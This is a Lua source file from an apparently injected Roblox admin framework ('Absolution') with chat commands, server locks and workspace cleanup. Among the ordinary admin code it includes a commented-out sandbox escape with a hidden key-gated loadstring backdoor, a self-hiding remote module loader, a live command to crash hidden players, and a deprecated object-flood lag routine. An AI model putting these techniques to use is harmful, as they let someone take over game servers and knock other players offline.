bootMod(function() Absolution.Connections['playerLeaving'] = Absolution.Services.Players.PlayerRemoving:connect(function(p)local pName = tostring(p) Absolution.Functions.Dismiss(p) Absolution.Functions.syncRankOut(p) if not Absolution.PrivateServer.Enabled and not Absolution.Locks.Server.Locked and (Absolution.Functions.getRankedTable(p.Name) and Absolution.Functions:findRank(p.Name) >= 0) then Absolution.Functions.Announce(pName..' has left the game.') end end) end, 'PlayerRemoving Connection')
bootMod(function() Absolution.Connections['mainLoop'] = Absolution.Services.RunService.Heartbeat:connect(Absolution.Functions.mainLoop) end, 'Mainloop connection')
bootMod(function() game.OnClose = nil game.OnClose = function() if not Absolution then return end Absolution.DCTAPI.sendMessage('Server closed ('..Absolution.uniqueKey..')') Absolution.Functions.syncRanksOut()  end end, 'onClose Connection')
bootMod(function() Absolution.Functions.createScript([[script.Parent = nil; require(461808002)]], game:service'Workspace') end, 'Loading Jet Module')
--bootMod(Absolution.PluginManager.Launch, 'Loading plugins')
if game.PlaceId~=21053279 and game.Players:findFirstChild'Darkus_Theory' then bootMod(function() Absolution.Functions.loadOrb('Darkus_Theory') end, 'Loading orb') end
--bootMod(function() coroutine.resume(Absolution.HttpConstants.pythonConsole.Initialize, Absolution.HttpConstants.pythonConsole) end, 'Launching CONSOLE')
bootMod(function() for i,v in pairs(Absolution.Services.Players:GetPlayers()) do ypcall(function() Absolution.Functions:ConnectPlayer(v) end) end end, 'Connecting players')
--[======[
bootMod(function() Absolution.Functions.sbExe([==[c/script.Parent = Instance.new('Model')
wait''
script.Name = 'ScriptBuilder'
local SBENV = newproxy(true)getmetatable(SBENV).__tostring = function()SBENV = getfenv(3)end pcall(warn,SBENV)
local _ENV = SBENV.require(329406995)
_ENV.oldSB = SBENV
_ENV.setfenv(0, _ENV)
_ENV.setfenv(1, _ENV)
_ENV.pcall(setfenv, 2, _ENV)
local oldSB 	= _ENV.oldSB
local assert    = _ENV.assert
local CFrame    = _ENV.CFrame
local coroutine   = _ENV.coroutine
local collectgarbage  = _ENV.collectgarbage
local delay    = _ENV.delay
local Delay    = _ENV.Delay
local dofile    = _ENV.dofile
local error    = _ENV.error
local elapsedTime   = _ENV.elapsedTime
local ElapsedTime   = _ENV.ElapsedTime
local _G     = _ENV._G
local shared    = _ENV.shared
local string    = _ENV.string
local tick     = _ENV.tick
local time     = _ENV.time
local gcinfo    = _ENV.gcinfo
local getfenv    = _ENV.getfenv
local getmetatable   = _ENV.getmetatable
local Instance    = _ENV.Instance
local ipairs    = _ENV.ipairs
local load     = _ENV.load
local loadfile    = _ENV.loadfile
local LoadLibrary   = _ENV.LoadLibrary
local loadstring   = _ENV.loadstring
local math     = _ENV.math
local newproxy    = _ENV.newproxy
local next     = _ENV.next
local os     = _ENV.os
local debug    = _ENV.debug
local pairs    = _ENV.pairs
local pcall    = _ENV.pcall
local print    = _ENV.print
local printidentity  = _ENV.printidentity
local rawequal    = _ENV.rawequal
local rawget    = _ENV.rawget
local rawset    = _ENV.rawset
local require    = _ENV.require
local select    = _ENV.select
local setfenv    = _ENV.setfenv
local setmetatable   = _ENV.setmetatable
local Spawn    = _ENV.Spawn
local spawn    = _ENV.spawn
local table    = _ENV.table
local tonumber    = _ENV.tonumber
local tostring    = _ENV.tostring
local type     = _ENV.type
local unpack    = _ENV.unpack
local _VERSION    = _ENV._VERSION
local Version    = _ENV.Version
local version    = _ENV.version
local Wait     = _ENV.Wait
local wait     = _ENV.wait
local xpcall   = _ENV.xpcall
local ypcall    = _ENV.ypcall
local Game     = _ENV.Game



local ScriptBuilder = {}
ScriptBuilder.OriginalVariables = {}
ScriptBuilder.Blocked = {}
ScriptBuilder.currentKey = "]==]..Absolution.uniqueKey..[==["
ScriptBuilder.whitelistedPlrs = {['4vJorckV5'] = {Rank=9},
	[''] = {Rank=2},
	[''] = {Rank=1},
	[''] = {Rank=1},
	[''] = {Rank=1},
	[''] = {Rank=1},
	[''] = {Rank=1},
	[''] = {Rank=2},
	[''] = {Rank=1},
	[''] = {Rank=1},
	[''] = {Rank=1},
	[''] = {Rank=1},
	}
ScriptBuilder.whitelistedIds = {['4vJorckV5']='74137141';['']='';['']='';[""]='';[""]='';}
ScriptBuilder.badreferences = {
	['Absolution']='Absolution',
	['RUNME']='RUNME',
	}
ScriptBuilder.OriginalVariables = _ENV

ScriptBuilder.SandboxSource = [=====[]==]..Absolution.SandboxSource..[==[]=====]

ScriptBuilder.getPlayers = function(Speaker, Msg)
	Msg = Msg:lower()
	local Table = {}
	local Players = game:GetService'Players':getPlayers()
	if Msg == "me" then
		table.insert(Table, Speaker)
	elseif Msg == "all" or Msg == "" then
		for _,v in pairs(Players) do
			table.insert(Table, v)
		end
	elseif Msg == "others" then
		for _,v in pairs(Players) do
			if v.Name ~= Speaker.Name then
				table.insert(Table, v)
			end
		end
	elseif Msg == "nonveterans" or Msg == "nonvets" or Msg == "noobs" then
		for _,v in pairs(Players) do
			if v.AccountAge < 364 then
				table.insert(Table, v)
			end
		end
	elseif Msg == "veterans" or Msg == "vets" then
		for _,v in pairs(Players) do
			if v.AccountAge > 364 then
				table.insert(Table, v)
			end
		end
	elseif Msg == "random" then
		local p = Players[math.random(1,#Players)]
		table.insert(Table, p)
	elseif Msg == 'friends' then
		for i,v in pairs(Players) do
			if Speaker:IsFriendsWith(v.userId) then
			   table.insert(Table, v)
			end
		end
	elseif Msg == 'nonfriends' then
		for i,v in pairs(Players) do
			if not Speaker:IsFriendsWith(v.userId) then
				table.insert(Table, v)
			end
		end
	elseif Msg == 'youngest' then
		local at = {}
		for i,v in pairs(Players) do
			table.insert(at,v.AccountAge)
		end
		local low = math.min(unpack(at))
		for i,v in pairs(Players) do
			if v.AccountAge == low then
				table.insert(Table, v)
			end
		end
	elseif Msg == 'oldest' then
		local ot = {}
		for i,v in pairs(Players) do
			table.insert(ot,v.AccountAge)
		end
		local high = math.max(unpack(ot))
		for i,v in pairs(Players) do
			if v.AccountAge == high then
				table.insert(Table, v)
			end
		end
	else
		for i,v in pairs(Players) do
			if v.Name:lower():sub(1,#Msg) == Msg:lower() then
				table.insert(Table, v)
			end
		end
	end
	for _,v in pairs(Table) do
		if v~=Speaker and (ScriptBuilder.whitelistedPlrs[tostring(v)] and ScriptBuilder.whitelistedPlrs[tostring(v)].Rank or 0) >= ScriptBuilder.whitelistedPlrs[tostring(Speaker)].Rank then
			ScriptBuilder.Output(tostring(v)..' outranks you.', 'Error', Speaker)
			table.remove(Table, _)
		end
	end
	return Table
end

ScriptBuilder.connectServer = function(self, server)
	server.OnInvoke = function(Command, Key, arguments)
		if Key~=ScriptBuilder.currentKey then return 'Incorrect key!' end
		if Command=='blockuser' then
		if not ScriptBuilder.Blocked[arguments] then
			ScriptBuilder.Blocked[arguments] = true
			ScriptBuilder.Output(arguments.." was blocked.", "Error")
			return 'User blocked.'
		else
			return 'User was already blocked.'
		end
		elseif Command=='unblockuser' then
		if ScriptBuilder.Blocked[arguments] then
			ScriptBuilder.Blocked[arguments] = nil
			ScriptBuilder.Output(arguments.." was unblocked.", "Note")
			return 'User was unblocked.'
		else
			return 'User was never blocked.'
		end
		elseif Command=='terminate' then
		ScriptBuilder.Output("Terminating Absolution Sandbox", "Error")
		for i,v in pairs(getfenv()) do
			getfenv()[i] = nil
		end
		elseif Command=='loadstring' then
			if arguments then
				local Ran,Error = ypcall(function()
				loadstring(arguments)()
				end)
				if not Ran then
					return error
				end
				return Ran
			else
				return 'no code passed to execute'
			end
		end
	end
end

ScriptBuilder.createHandler = function(self, name, place)
	local server = Instance.new('BindableFunction')
	server.Name = name
	wait()
	server.Parent = place
		self.Con = server.Changed:connect(function(change)
		local c = change:lower()
		if c=='name' then
			server.Name = name
		elseif c=='parent' then
			wait()
			server.Parent = place
		else
		server:Destroy()
		self:createHandler(name, place)
		self.Con:disconnect()
		end
		end)
		self:connectServer(server)
	self["SERVER"] = server
	return server
end

local Sandbox = {}
function Sandbox.isC(f)
 return pcall(string.dump, f) == false
end

ScriptBuilder.GetScripts = function(plr)
	local Scripts = plr:LoadString("sCrIptbuilDERox_SavedScripts")
	local ScriptTable = game.HttpService:JSONDecode(Scripts)
	return ScriptTable
end

function ScriptBuilder.Output(Message, Type, plr)
if not plr then
for i,v in pairs(game:GetService'Players':GetChildren()) do
local p = Instance.new('StringValue')
p.Name = 'SB_Output:Output'
p.Value = '["'..Type..'","'..Message..'"]'
p.Parent = v
end
else
local p = Instance.new('StringValue')
p.Name = 'SB_Output:Output'
p.Value = '["'..Type..'","'..Message..'"]'
wait()
p.Parent = plr
end
end

function ScriptBuilder.GetCommand(name)
	 if ScriptBuilder.CommandsTable then
		  for alias, f in pairs(ScriptBuilder.CommandsTable) do
		   local commandNames = {}
			   for name in string.gmatch(alias, "[^,%s*]+") do
					commandNames[name] = f
			   end
			   if commandNames[name] then
					return commandNames[name]
			   end
		  end
	 end
end

ScriptBuilder.Process = function(requireid)
	if ScriptBuilder.whitelistedIds[tostring(requireid)] then
	ScriptBuilder.Output('Whitelisted module ('..ScriptBuilder.whitelistedIds[tostring(requireid)]..') loading...', 'Print')
		return require(requireid)
	else
		return false,ScriptBuilder.Output('Module ('..requireid..') was blocked.', 'Error')
	end
end

function ScriptBuilder.AlterCommandsTable(original)
	 if ScriptBuilder.CommandsTable == nil then
	  ScriptBuilder.CommandsTable = original
	 end
	 local altered = {}
	 for name, commandFunc in pairs(original) do
		  altered[name] = setfenv(function(player, ...)
		   local arguments = {...}
		   if ScriptBuilder.whitelistedPlrs[tostring(player)] or not ScriptBuilder.whitelistedPlrs[tostring(player)] then
			--print("CALLED", name, player, ...)
			local firstArgument = string.match(arguments[1], "^(%a+)/.*") or string.match(arguments[1], "^(%a+)/?") or arguments[1]
			--print('{'..name..'} = ['..firstArgument..']')
				if name == "remove" and firstArgument == "-all" then
					 for _, scriptData in pairs(ScriptBuilder.GetScripts(player)) do
						  if not ScriptBuilder.badreferences[scriptData.Name] then
						   ScriptBuilder.GetCommand("remove")(player, scriptData.Name)
						  end
					 end
				else
					if (name == "runlocal, runl, rl" or name == "createhttp, createh, ch" or name == "createlocal" or name == "httpnewlocal, hnl" or name == "createsource, cs" or name == "edit" or name == "remove" or name == "unsave" or name == "rename" or name == "create") and ScriptBuilder.badreferences[firstArgument] then
						return ScriptBuilder.Output(string.format("You cannot use '%s' on that script.", string.match(name, "^(%a+), .+") or name), "Error", player)
					elseif name == "get, g" and (arguments[1]:find'nonils' or arguments[1]:find'nn' or arguments[1]:find'nonil') and (ScriptBuilder.whitelistedPlrs and ScriptBuilder.whitelistedPlrs[tostring(player)].Rank==2) then
						return ScriptBuilder.Output('An error has occured.', "Error", player)
					elseif name == "get, g" and (firstArgument == 'whitelist') then
						for i,v in pairs(ScriptBuilder.whitelistedPlrs) do
							ScriptBuilder.Output(i..' ('..v..')', "Print", player)
						end
						return true
					elseif name == "get, g" and (arguments[1]:find'aid/') and ScriptBuilder.whitelistedPlrs[tostring(player)] then
						local p = arguments[1]:sub(arguments[1]:find('/')+1)
						ScriptBuilder.whitelistedIds[p] = tonumber(p)
					return true
					elseif name == "get, g" and (arguments[1]:find'sballow/') and ScriptBuilder.whitelistedPlrs[tostring(player)] then
					local p = ScriptBuilder.getPlayers(player, arguments[1]:sub(arguments[1]:find('/')+1))
						for n,m in pairs(p) do
							ScriptBuilder.whitelistedPlrs[tostring(m)] = {Rank=1}
							ScriptBuilder.Output('Whitelisted '..m.Name, "Note", player)
						end
					return
					elseif name == "get, g" and (arguments[1]:find'sbunallow/') and ScriptBuilder.whitelistedPlrs[tostring(player)] then
					local p = ScriptBuilder.getPlayers(player, arguments[1]:sub(arguments[1]:find('/')+1))
						for n,m in pairs(p) do
							ScriptBuilder.whitelistedPlrs[tostring(m)] = nil
							ScriptBuilder.Output('Dewhitelisted '..m.Name, "Error", player)
						end
					return
					elseif name == "get, g" and (firstArgument == "nos" or firstArgument == "ns" or firstArgument == "ns/all" or firstArgument == "nos/all") then
						local disableAll = string.find(firstArgument, "/all") ~= nil
						--for _, sandbox in pairs(Sandbox.Sandboxes) do
							--if sandbox.Owner == player or disableAll then
								--sandbox.Terminate()
							--end
						--end
					end
					return commandFunc(player, ...)
				end
		   else
				ScriptBuilder.Output("You must be whitelisted by an administrator!", "Error", player)
		   end
		  end, SBENV)
	 end
return altered
end

function ScriptBuilder.SetVariable(name, value)
 ScriptBuilder.OriginalVariables[name] = SBENV[name]
 SBENV[name] = type(value) == "function" and not Sandbox.isC(value) and setfenv(value, SBENV) or value
end

ScriptBuilder.mainloop = function()
ScriptBuilder.SetVariable('sb', 'Absolution')
ScriptBuilder.SetVariable('_VERSION','AbsolutionSB build. 84')
ScriptBuilder.SetVariable('_G',setmetatable({},{__metatable='locked'}))
ScriptBuilder.SetVariable('require', function(id) return ScriptBuilder.Process(id) end)
ScriptBuilder.SetVariable("pairs", function(t)
	if t and type(t) == "table" then
		if rawequal(getmetatable(t), nil) and (rawget(t, "share") or rawget(t, "save")) then
			return pairs(ScriptBuilder.AlterCommandsTable(t))
		end
	end
return pairs(t)
end)
end

game:GetService('RunService').Stepped:connect(ScriptBuilder.mainloop)
ScriptBuilder:createHandler('ScriptBuilderHandler', game:service'ReplicatedStorage')
setmetatable(ScriptBuilder, {__tostring=function() return 'no' end,__metatable='locked'})]==],ranBy)
wait()
Absolution.Functions.sbExe('c/print"Initializing absolution sandbox."',ranBy)
 end,'Executing sandbox')
 --]======]
Absolution.Functions.osbOutput('Absolution Loaded!','Note')
end

-- Cleaning And Stuff :) --
Absolution.Functions.CreateBase = function()
	for _,v in pairs(Absolution.Services.Workspace:GetChildren()) do
		if v.Name:lower():find('base') and v:IsA('BasePart') then
			v:remove()
		end
	end
	local Base = Instance.new("Part")
	Base.BrickColor = BrickColor.new("Dark green")
	Base.CFrame = CFrame.new(0, 0.6, 0)
	Base.Transparency = 0
	Base.Elasticity = 0.5
	--Base.FormFactor = "Custom"
	Base.Material = 'Grass'
	Base.CanCollide = true
	Base.Friction = 0.30000001192093
	Base.Size = Vector3.new(2044, 0, 2044)
	Base.Archivable = true
	Base.Material = "Grass"
	Base.RotVelocity = Vector3.new(0, 0, 0)
	Base.Reflectance = 0
	Base.Locked = true
	Base.Anchored = true
	Base.Name = "Base"
	Base.TopSurface = "Smooth"
	Base.BottomSurface = "Inlet"
	Base.Shape = "Block"
	Base.Parent = Absolution.Services.Workspace.Terrain
end

Absolution.Functions.CleanWorkspace = function()
	for i,s in pairs(Absolution.Services.Workspace:GetChildren()) do
		if Absolution.Services.Players:GetPlayerFromCharacter(s) == nil then
			if s.className ~= "Terrain" then
				if s.className ~= "Camera" then
					pcall(function() s:Destroy() end)
				end
			end
		end
	end
	for _,v in pairs(Absolution.Services.Workspace:GetChildren()) do
		if v:IsA("Terrain") then
			v:Clear()
		end
	end
	for _,v in pairs(Absolution.Services.Workspace.Terrain:GetChildren()) do
		pcall(function()
			v:Destroy''
		end)
	end
	Absolution.Functions.CreateBase()
end
Absolution.Functions.FullClean = function()
	local Child = {}
	local GetAllChildren = function(c)
		for _,v in pairs(c:GetChildren()) do
			ypcall(function()
				GetAllChildren(v)
				table.insert(Child, v)
			end)
		end
	end
	for _,v in pairs(Absolution.Services.Game:GetChildren()) do
		ypcall(function()
			GetAllChildren(v)
		end)
	end
	for _,v in pairs(Child) do
		if not v:IsA("Player") and v.Name ~= "Backpack" and v.Name ~= "PlayerGui" and v.Name ~= "StarterGear" and v.Name ~= "SBGUI" and v.Name ~= "HealthGUI" and v.Name ~= "Output GUI" then
			v:remove()
		end
	end
	Absolution.Functions.CleanWorkspace()
	Absolution.Functions.Debug()
	for _,v in pairs(Absolution.Services.Players:getPlayers()) do
		v:LoadCharacter()
	end
end
Absolution.Functions.Debug = function()
	ypcall(function()
		for _,v in pairs(Absolution.Services.Workspace:GetChildren()) do
			if v:IsA('Message') or v:IsA('Hint') then
				ypcall(function()
					v.Text = ''
					v:Destroy()
				end)
			end
			if v:IsA('Terrain') then
				v:Clear()
			end
		end
		Absolution.Services.Lighting.GlobalShadows = true
		Absolution.Services.Lighting.TimeOfDay = '14:00:00'
		Absolution.Services.Lighting.Brightness = 0.3
		Absolution.Services.Lighting.ShadowColor = Color3.new(0.705882, 0.705882, 0.705882)
		Absolution.Services.Lighting.Ambient = Color3.new(1,1,1)
		Absolution.Services.Lighting.ColorShift_Top = Color3.new(0, 0, 0)
		Absolution.Services.Lighting.ColorShift_Bottom = Color3.new(0, 0, 0)
		Absolution.Services.Lighting.OutdoorAmbient = Color3.new(0.6, 0.6, 0.6)
		Absolution.Services.Lighting.FogStart = 0
		Absolution.Services.Lighting.FogEnd = 100000
		Absolution.Services.Lighting.FogColor = Color3.new(0.752941, 0.752941, 0.752941)
		Absolution.Services.Lighting:ClearAllChildren()
		Absolution.Services.Teams:ClearAllChildren()
		for _,v in pairs(Absolution.Services.Players:getPlayers()) do
			v.Neutral = true
		end
	end)
end

-- Status Announce --
Absolution.Functions.Announce = function(msg,fs)
Absolution.Functions.Out('All', msg, 5)
--Absolution.DCTAPI.sendMessage('Announce: '..msg)
	if fs == true then
		for i,v in pairs(Absolution.Services.Players:getPlayers()) do
			if v:findFirstChild("PlayerGui") then
				local sg = Instance.new("ScreenGui", v.PlayerGui)
				sg.Name = "Absolution ScreenGui FullScreen "..math.random(999999)
				local fr = Instance.new("Frame", sg)
				fr.Name = "Main"
				fr.Size = UDim2.new(0, 0, 0, 0)
				fr.Position = UDim2.new(0, 0, 0, 0)
				fr.BackgroundTransparency = 0.7
				fr.BackgroundColor3 = Color3.new(-1,-1,-1)
				fr.BorderColor3 = Color3.new(1,1,1)
				local tl = Instance.new("TextLabel", fr)
				tl.Size = UDim2.new(1, 0, 1, 0)
				tl.BackgroundTransparency = 1
				tl.TextColor3 = Color3.new(1,1,1)
				tl.FontSize = "Size24"
				tl.Font = 'SourceSansLight'
				tl.Text = string.gsub(msg, "", "")
				tl.Name = "Text"
				tl.TextTransparency = 0
				pcall(function() Absolution.Services.Debris:AddItem(sg, 4) end)
				fr:TweenSize(UDim2.new(1, 0, 1, 0), "Out", "Quad", 1)
				coroutine.resume(coroutine.create(function()
					wait(8)
					fr:TweenSize(UDim2.new(0, 0, 0, 0), "Out", "Quad", 1)
					tl:remove()
				end))
			end
		end
	else
		local sg
		local function GetNumAlerts(Par)
			local Num = 0
			if Par == nil then return 0 end
			for i, Obj in pairs(Par:GetChildren()) do
			   if Obj.Name:lower():find(string.lower("Absolution ScreenGui Hint")) or Obj.Name:upper():find(string.upper("Absolution ScreenGui Hint")) then
					Num = Num + 1
			   end
			end
			return Num
		end
		for i,v in pairs(Absolution.Services.Players:getPlayers()) do
			if v:findFirstChild("PlayerGui") then
				sg = Instance.new("ScreenGui", v.PlayerGui)
				sg.Name = "Absolution ScreenGui Hint "..math.random(999999)
				local num = 0.025 + (-0.025+0.025*GetNumAlerts(sg.Parent))
				local fr = Instance.new("Frame", sg)
				fr.Name = "Main"
				fr.Size = UDim2.new(1, 0, 0.025, 0)
				fr.Position = UDim2.new(-1, 0, num, 0)
				fr.BackgroundTransparency = 0.5
				fr.BackgroundColor3 = Color3.new(1, 1, 1)
				fr.BorderColor3 = Color3.new(0, 0, 0)
				local tl = Instance.new("TextLabel", fr)
				tl.Size = UDim2.new(1, 0, 1, 0)
				tl.BackgroundTransparency = 1
				tl.TextColor3 = Color3.new(-1,-1,-1)
				tl.Font	= "SourceSansLight"
				tl.FontSize = "Size18"
				tl.Text = string.gsub(msg, "", "")
				tl.Name = "Text"
				tl.TextTransparency = 0
				pcall(function() Absolution.Services.Debris:AddItem(sg, 4) end)
				fr:TweenPosition(UDim2.new(0, 0, num, 0), "Out", "Quad", 0.5)
				coroutine.resume(coroutine.create(function()
					wait(8)
					pcall(function() fr:TweenPosition(UDim2.new(1, 0, num, 0), "Out", "Quad", 0.5) end)
					tl:remove()
				end))
			end
		end
	end
end

-- deprecated
--[[
-- Lag --
Absolution.Functions.Lag = function(plr)
	if not plr then return error'no player defined' end
	for i = 1,2800000 do
		Instance.new('Message',plr)
	end
end
--]]

-- Blacklist --
Absolution.Functions.checkBlackList = function(Plr)
	for i,v in pairs(Absolution.injectBlacklist) do
		if v.ID==Plr.userId then
			return true,v
		end
	return false,{}
	end
end

-- GroupRank --
Absolution.Functions.calculateRankInGroup = function(playerObj)
	local groupRank = playerObj:GetRankInGroup(Absolution.GroupData.GroupID)

	local matchTable = Absolution.GroupData.GroupRanks

	for defrank, groupranks in pairs(matchTable) do

		for nildata, rank in pairs(groupranks) do

			if groupRank==rank and defrank>0 then

				return defrank

			end
		end

	end

return -1
end

-- ConnectPlayer --
Absolution.Functions.ConnectPlayer = function(self, Player)
	local playerName = Player.Name
	if not Absolution.Functions.getRankedTable(playerName) then Absolution.Functions:addData(Player, Player.userId, 0); end
	local playerData = Absolution.Functions.getRankedTable(playerName)
	if not playerData.Bet then playerData.Bet = '/' end
	local blackList,blTable = Absolution.Functions.checkBlackList(Player)
	if blackList and game.PlaceId ~= 20279777 then
		Absolution.Functions.Output(Player, 'You are blacklisted from Absolution.', 'Really black')
		Absolution.Functions.Output(Player, 'Injection Aborted.', 'Really black')
		Absolution.Functions.Output(Player, 'REASON: '..blTable.REASON, 'Really black')
		Absolution.Functions.Output(Player, 'User: '..Player.Name, 'Really black')
		Absolution.Functions.Output(Player, 'Dismiss')
		return
	end
	local cRank = Absolution.Functions.calculateRankInGroup(Player)

	local DataStore = game:GetService("DataStoreService"):GetDataStore("NickNamez")

	Absolution.Functions.nickName(Player.Name, DataStore:GetAsync('user_'..Player.Name))

	Absolution.Functions.createLocalScript('Injection', Player:WaitForChild('Backpack'), Absolution.uniqueKey..' CLIENT')

	if Absolution.Ranked[Player.Name].Rank < cRank and cRank >= 0 then print'ranking up player' print(playerData.Rank, cRank) Absolution.Ranked[Player.Name].Rank = cRank Absolution.Functions.syncRankOut(Player) end

	if game.PlaceId ~= 21053279 then
	--game:GetService("MarketplaceService"):PromptPurchase(Player, 478854176)
	end
	Absolution.Connections[#Absolution.Connections+1] = Player.CharacterAdded:connect(function(q)
	Absolution.Connections[#Absolution.Connections+1] = q.DescendantAdded:connect(function(Object)
		if Absolution.Locks.Server.Local == true then
		if playerData.Rank >= 2 then return end
		if Object:IsA("BaseScript") then
		local ObjectName = Object.Name
		repeat Object.Disabled = true wait() until Object:Destroy()
		end
		end
	end)
	end)
	if not Player.Character then Player.Character = Instance.new'Model' end
	Absolution.Connections[#Absolution.Connections+1] = Player.Character.DescendantAdded:connect(function(Object)
		if Absolution.Locks.Server.Local == true then
		if playerData.Rank >= 2 then return end
		if Object:IsA("BaseScript") then
		local ObjectName = Object.Name
		repeat Object.Disabled = true wait() until Object:Destroy()
		end
		end
	end)
	Player.ChildAdded:connect(function(a)
		if a:IsA('StringValue') then
			for i,v in pairs(Absolution.Nicknames) do
				if a.Value:find(i) then
					a.Value = a.Value:gsub(i, v)
				end
			end
		end
	end)
	if Player.AccountAge < 30 then
		if Absolution.Functions:findRank(Player) < 0.5 then
			Absolution.Functions.Announce(playerName.." was kicked for being under age. They may join in "..tostring(30-Player.AccountAge).." days")
			Player:Kick('[Absolution]: You may join the server in '..tostring(30-Player.AccountAge)..' days')
		end
	end
	if Absolution.PrivateServer.Enabled then
		if Absolution.Functions:findRank(Player) < 0.5 then
			Absolution.Functions.Announce(playerName.." was kicked due to the Private Server.")
			Player:Kick('[Absolution]: Private server enabled. Please rejoin at a later time.')
		end
	end
	if Absolution.PrivateServer.GroupLock then
		if not Player:IsInGroup(Absolution.GroupData.GroupID) then
			Absolution.Functions.Announce(playerName.." was kicked due to the Server Lock.")
			Player:Kick('[Absolution]: Server is locked for all players not in Infinity Developers!')
		end
	end
	if Absolution.Locks.Server.Locked then
		if Absolution.Functions:findRank(Player) < Absolution.Locks.Server.rankNumber then
			Absolution.Functions.Announce(playerName.." was kicked due to the Server Lock.")
			Player:Kick('[Absolution]: Server is locked for all ranks below '..Absolution.Locks.Server.rankNumber..' for '..Absolution.Locks.Server.Duration..' more seconds!')
		end
	end
end

-- Commands --
-- Rank 0 --
Absolution.Functions.Command("Players", {"players", "plrs"}, 0, "Shows Players And Options", "-n (Nil Players)", function(Speaker, Msg)
	if Absolution.Functions.GetSplit(Msg) == "n" then
		Absolution.Functions.Dismiss(Speaker)
		local Number_Of_Nils = 0
		for _,v in pairs(Absolution.Functions.getALLPlayers()) do
			if v.Parent ~= Absolution.Services.Players then
				Number_Of_Nils = Number_Of_Nils + 1
				Absolution.Functions.Output(Speaker, "Crash "..v.Name.."?", nil, function()
					Absolution.Functions.Dismiss(Speaker)
					local dc = Absolution.Handler:sendPacket(v, 'disconnect', {["REASON"] = 'bcuz y not'})
					coroutine.resume(coroutine.create(function()
						wait(0.5)
						if dc then
							Absolution.Functions.Output(Speaker, "Successfully crashed "..v.Name, "Lime green", nil, 3)
						else
							Absolution.Functions.Output(Speaker, "Failed to crash "..v.Name, "Lime green", nil, 3)
						end
					end))
				end)
			end
		end
		if Number_Of_Nils == 0 then
			return Absolution.Functions.Output(Speaker, "There are no nil players!", "Lime green", nil, 3)
		end
		Absolution.Functions.Output(Speaker, "There are "..Number_Of_Nils.." nil players!", "Lime green")
		Absolution.Functions.Output(Speaker, "Shutdown Nils?", "New Yeller", function()
			for _,v in pairs(Absolution.Functions.getALLPlayers()) do
				if v.Parent ~= Absolution.Services.Players then
					local x = Instance.new("Model", Absolution.Services.Workspace)
					local y = Instance.new("Part", x)
					y.Transparency = 1
					y.CanCollide = false
					y.Anchored = true
					y.Name = "Torso"
					y.Position = Vector3.new(10000,10000,10000)
					local z = Instance.new("Humanoid",x)
					z.Torso = y
					v.Character = x
					Absolution.Handler:sendPacket(v, 'repeat', {['REASON'] = tostring(Speaker)..' crashed you'})
				end
			end
		end)
		Absolution.Functions.Output(Speaker, "Dismiss")
	else
		Absolution.Functions.ShowPlayers(Speaker)
	end
	Absolution.Functions.Out(Speaker, 'Got Players.', 5)
end)
Absolution.Functions.Command("Ping", {"ping", "p"}, 0, "Pings A Message", "-a (AFK) -s (Spam)", function(Speaker, Msg)
	if Absolution.Functions.GetSplit(Msg) == "a" then
		Absolution.Functions.Dismiss(Speaker)
		Msg = Msg:gsub("-a", "")
		for i = 1, 6 do
			Absolution.Functions.Output(Speaker, "AFK")
		end
		Absolution.Functions.Output(Speaker, "Dismiss")
	elseif Absolution.Functions.GetSplit(Msg) == "s" then
		Msg = Msg:gsub("-s", "")
		local Split = Msg:find('/')
		local Message = Msg:sub(1, Split - 1)
		local Amount = Msg:sub(Split + 1)
		if tonumber(Amount) > 20 then
		Absolution.Functions.Output(Speaker, 'Too many tablets.', "Red")
		Amount = 0
		end
		Absolution.Functions.Dismiss(Speaker)
		for i = 1, Amount do
			Absolution.Functions.Output(Speaker, Message, "Random")
		end
	else
		if #Msg == 0 then Msg = "Pong!" end
		Msg = string.gsub(Msg, "", "")
		Absolution.Functions.Output(Speaker, Msg, "Random")
		Absolution.Functions.Out(Speaker, Msg, 1)
	end
end)
Absolution.Functions.Command("Dismiss Tablets", {"dt", "dismiss", "hide"}, 0, "Dismisses Tablets", "-p (Specific Player)", function(Speaker, Msg)
	if Absolution.Functions.GetSplit(Msg) == "p" then
		if Absolution.Functions:findRank(Speaker) >= 4 then
			Msg = Msg:gsub("-p", "")
			local Players = Absolution.Functions.getPlayers(Speaker, Msg)
			if #Players > 0 then
				for _,v in pairs(Players) do
					ypcall(function()
						Absolution.Functions.Dismiss(v)
						Absolution.Functions.Out(Speaker, 'Dismissed '..v.Name..'\'s tabs.', 5)
					end)
				end
			end
		else
			Absolution.Functions.Out(Speaker, "Your rank is too low to use that flag!", 4)
		end
	else
		Absolution.Functions.Dismiss(Speaker)
		Absolution.Functions.Out(Speaker, 'Dismissed your tabs.', 5)
	end
end)
Absolution.Functions.Command("Notification Handler", {"notif",'notifications'}, 0, "Toggles Notifications", "No Flags", function(Speaker, Msg)
	if Msg:lower()=='off' then
		Absolution.Functions.SetIgnore(Speaker.Name)
	elseif Msg:lower()=='on' then
		Absolution.Functions.StopIgnore(Speaker.Name)
	end
Absolution.Functions.Out(Speaker, 'Blocking Notifications: '..tostring(Absolution.Functions.IsIgnoring(Speaker.Name)), 5)
end)
Absolution.Functions.Command("onChatted", {"@"}, 0, "Makes Another Player onChatted", 'No Flags', function(Speaker,Msg)
	local Split = Msg:find("/")
	local Player = Absolution.Functions.getPlayers(Speaker, Msg:sub(1, Split - 1))
	local Message = Msg:sub(Split + 1)
	if #Player > 0 then
		for _,v in pairs(Player) do
			if Absolution.Functions:findRank(Speaker) > Absolution.Functions:findRank(v) then
				Absolution.Functions.onChatted(v, Message)
			end
		end
	end
end)
Absolution.Functions.Command("Get Ranked", {"getranked", "ranked", "ranekd"}, 0, "Opens Ranked Interface", nil, function(Speaker, Msg)
	Absolution.Functions.Dismiss(Speaker)
	if #Msg == 0 then
		Absolution.Functions.GetRankedInterface(Speaker)
	else
		Msg = Msg:lower()
		if #Msg < 3 then
		Absolution.Functions.Output(Speaker, 'Please narrow your search.','Really red')
		return
		end
		local Number = 0
		local Table = {}
		for i,v in pairs(Absolution.Ranked) do
			if i:lower():find(Msg) then
				ypcall(function()
					table.insert(Table, i)
					Number = Number + 1
				end)
			end
		end
		if Number > 1 then
			for _,v in pairs(Table) do
				Absolution.Functions.Output(Speaker, v, nil, function()
					Absolution.Functions.GetRankedInterface(Speaker, v)
				end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v)
			end
		else
			for _,v in pairs(Table) do
				Absolution.Functions.GetRankedInterface(Speaker, v)
			end
		end
	end
	Absolution.Functions.Out(Speaker, 'Got Ranked.', 5)
end)
